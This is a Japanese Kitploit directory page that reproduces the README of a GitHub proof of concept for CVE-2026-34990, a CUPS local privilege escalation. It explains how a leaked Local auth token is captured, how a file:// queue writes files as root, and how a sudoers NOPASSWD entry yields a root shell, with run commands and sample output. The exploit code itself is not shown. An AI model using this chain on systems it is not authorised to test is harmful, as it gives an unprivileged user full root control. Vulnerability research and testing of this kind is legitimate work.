Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-34990-poc — CVE-2026-34990 — CUPS <= 2.4.16 ローカル権限昇格 | Kitploit
ツール/GitHubGitHub/bara-almustafa/cve-2026-34990-poc
防御ツール特権昇格脆弱性分析エクスプロイトセキュリティ仮想化ペネトレーションテスト学習と教育
GitHubbara-almustafa/cve-2026-34990-poc

CVE-2026-34990-poc

CVE-2026-34990 — CUPS <= 2.4.16 ローカル権限昇格

リポジトリを見る
2日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-34990 — CUPS <= 2.4.16 ローカル権限昇格

ローカルの非特権ユーザー → root、漏洩した CUPS の Local 認証トークンとポリシーをバイパスする file:/// プリントキューを経由。

PoC by 0xcybersoldier

status platform language type CVE


目次

  • 概要
  • 脆弱性の詳細
  • 影響を受けるバージョン
  • 攻撃チェーン
  • 要件
  • インストール
  • 使用方法
  • 実行例
  • 内部動作の仕組み
  • トラブルシューティング
  • 検知
  • 緩和策
  • 参考資料
  • 免責事項
  • 作者

概要

CVE-2026-34990 は、OpenPrinting CUPS におけるローカル権限昇格の脆弱性であり、2.4.16 以前のバージョンに影響します。

CUPS デーモン(cupsd)に到達可能なローカルの非特権ユーザーは、ループバックインターフェース上の攻撃者が制御する IPP サービスに対して認証を行わせる可能性があります。

その結果得られる Authorization: Local <token> 認証情報は、その後 CUPS の管理インターフェースに対して再利用することができます。

この攻撃チェーンは最終的に、file:/// プリントキューを作成し、cupsd に攻撃者が制御するファイルを root 権限で書き込ませるために使用される可能性があります。

典型的なデモンストレーションでは、sudoers のドロップインを使用して root シェルを取得します。

このリポジトリには、攻撃チェーンを実装した単一ファイルの Python 3 PoC が含まれており、永続的な権限昇格設定を直接作成することなく、脆弱なファイル書き込み動作を実証するためのより安全な --check モードも含まれています。


脆弱性の詳細

フィールド値
CVE IDCVE-2026-34990
コンポーネントOpenPrinting CUPS (cupsd)
影響を受けるバージョン<= 2.4.16
脆弱性クラスCWE-306 / CWE-284
影響ローカル権限昇格
攻撃ベクトルローカル
必要な権限低
ユーザー操作なし
発見者Asim Viladi Oglu Manizada
アドバイザリGHSA-c54j-2vqw-wpwp

影響を受けるバージョン

PoC の対象:

OpenPrinting CUPS <= 2.4.16

ローカルで実行中の CUPS バージョンを確認:

curl -sI http://127.0.0.1:631 | grep -i '^Server:'

例:

Server: CUPS/2.4.16 IPP/2.1

注意: ベンダーのパッチやバージョンの状況は変更される可能性があるため、本番環境の調査で影響を受けるバージョン範囲に依存する前に、最新のアップストリームアドバイザリを確認してください。


攻撃チェーン

 [1] ローカルユーザーが CUPS-Create-Local-Printer を発行
         |
         | device-uri = ipp://127.0.0.1:9189/ipp/print
         v
 [2] cupsd がループバック上の攻撃者が制御する
     IPP サービスに接続
         |
         v
 [3] 偽の IPP サービスが応答:
     401 Unauthorized
     WWW-Authenticate: Local trc="y"
         |
         v
 [4] CUPS/libcups が次の認証情報でリクエストを再試行:
     Authorization: Local <token>
         |
         v
 [5] トークンをキャプチャ
         |
         v
 [6] トークンを CUPS 管理インターフェースに対して再利用
         |
         v
 [7] 一時的な file:// プリンタが作成され、
     プリンタ管理ワークフローを経由
         |
         v
 [8] Print-Job により cupsd が提供された
     ドキュメントを file:// ターゲットに書き込む
         |
         v
 [9] デモ用ペイロードが sudoers などの
     特権設定を変更可能
         |
         v
       ROOT

要件

  • Python 3.8+
  • Python 標準ライブラリのみ
  • 非特権ユーザーとしてのローカルシェルアクセス
  • 127.0.0.1:631 で到達可能な CUPS サービス
  • 権限昇格のデモンストレーション用に sudo が利用可能
  • 脆弱な CUPS バージョンが動作している Linux システム

外部 Python パッケージは不要です。


インストール

リポジトリをクローン:

git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc

PoC を実行可能にする:

chmod +x cve-2026-34990.py

追加の依存関係は不要です。


使用方法

安全なチェックモード

非永続的な検証モードから開始します:

./cve-2026-34990.py --check

チェックモードは、一時的な証明ファイルを使用して脆弱な root 所有のファイル書き込みプリミティブを実証しようとし、テスト後にクリーンアップします。


root シェルのデモンストレーション

デフォルトモードでは、完全な権限昇格チェーンを実証します:

./cve-2026-34990.py

root としてコマンドを実行

コマンドは次のように指定できます:

./cve-2026-34990.py -c 'id'

例:

./cve-2026-34990.py -c 'id; whoami'

オプション

フラグデフォルト説明
--cups-port631ローカル CUPS の TCP ポート
--listen-port9189トークンキャプチャリスナーが使用するループバックポート
--checkオフ安全な検証モード
-c, --command—悪用成功後にコマンドを実行
--proof-dir/var/tmp一時的な証明ファイルの親ディレクトリ
--attempts8ファイル書き込み試行回数
--iterations80試行あたりの IPP リクエストラウンド数

実行例

$ ./cve-2026-34990.py --check

 ██████╗ ██╗  ██╗ ██████╗██╗   ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗     ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║     ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║      ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗  ██║   ██║██║     ██║  ██║██║█████╗  ██████╔╝
████╔╝██║ ██╔██╗ ██║       ╚██╔╝  ██╔══██╗╚════██║██╔══██╗██╔══╝  ██║   ██║██║     ██║  ██║██║██╔══╝  ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗   ██║   ██████╔╝███████║██║  ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║  ██║
 ╚═════╝ ╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚═════╝ ╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝  ╚═╝

  CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
  PoC by 0xcybersoldier

[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file

内部動作の仕組み

1. トークンキャプチャ

PoC は、device-uri がループバックインターフェース上の攻撃者が制御する IPP リスナーを指す一時的な CUPS プリンタを作成します。

例:

ipp://127.0.0.1:9189/ipp/print

ローカルリスナーは認証チャレンジで応答します:

401 Unauthorized
WWW-Authenticate: Local trc="y"

これにより、CUPS クライアント/サーバー間のやり取りがローカル認証メカニズムを使用して再試行されます。

PoC はその結果得られる:

Authorization: Local <token>

認証情報をキャプチャします。


2. 管理アクセス

キャプチャしたトークンは、CUPS 管理インターフェースへのリクエストで再利用されます。

概念的には:

Authorization: Local <TOKEN>

これにより、後続のプリンタ管理操作に必要な認証コンテキストが提供されます。


3. プリンタの作成

次に、この攻撃はプリンタ管理ワークフローを悪用して、file:// ターゲットを参照するキューを作成します。

関連するターゲットは次の形式です:

file:///path/to/target

PoC は、キューをオンラインにして印刷ジョブを送信するために必要なプリンタ管理操作を使用します。


4. root 権限でのファイル書き込み

印刷ジョブは生のドキュメントとして送信されます。

cupsd は root 権限で動作しているため、結果として生じるファイル操作は root 権限で発生する可能性があります。

--check モードはこのプリミティブを使用して一時的な証明ファイルを作成し、それが UID 0 によって所有されていることを検証します。


5. 権限昇格

完全なデモンストレーションでは、sudoers ドロップインなどの特権設定ファイルを使用できます。

概念的には:

user ALL=(ALL) NOPASSWD: ALL

ファイルが適切な所有権と権限で正常に書き込まれた場合、影響を受けるユーザーは次を実行できます:

sudo -n -s

そして root シェルを取得します。


トラブルシューティング

症状考えられる原因推奨される修正
No Local token receivedCUPS がパッチ済み、またはリスナーに到達不能CUPS バージョンとリスナーを確認
CUPS is not reachableCUPS が停止している、または別のポートを使用--cups-port <port> を使用
受信接続なしローカルプリンタの作成が制限されているCUPS 操作ポリシーを確認
NOT CONFIRMEDファイル書き込み試行が成功しなかった--attempts / --iterations を増やす
Sudoers ペイロードが拒否ユーザー名または環境が異なる--check を使用
リスナーのバインドエラーポートが既に使用されている別の --listen-port を使用

デバッグ

ループバックトラフィックを監視:

sudo tcpdump -i lo -n port 9189

最小限の検証を実行:

./cve-2026-34990.py \
    --check \
    --attempts 1 \
    --iterations 1

CUPS サービスを確認:

systemctl status cups

リッスンソケットを確認:

ss -lntp | grep ':631'

検知

防御側は、この攻撃チェーンに関連するいくつかの指標を監視できます。

ネットワーク指標

以下を探します:

cupsd → 127.0.0.1:<high-port>

特に予期しないローカルポートへの接続に注意します。

例:

ツールをダウンロード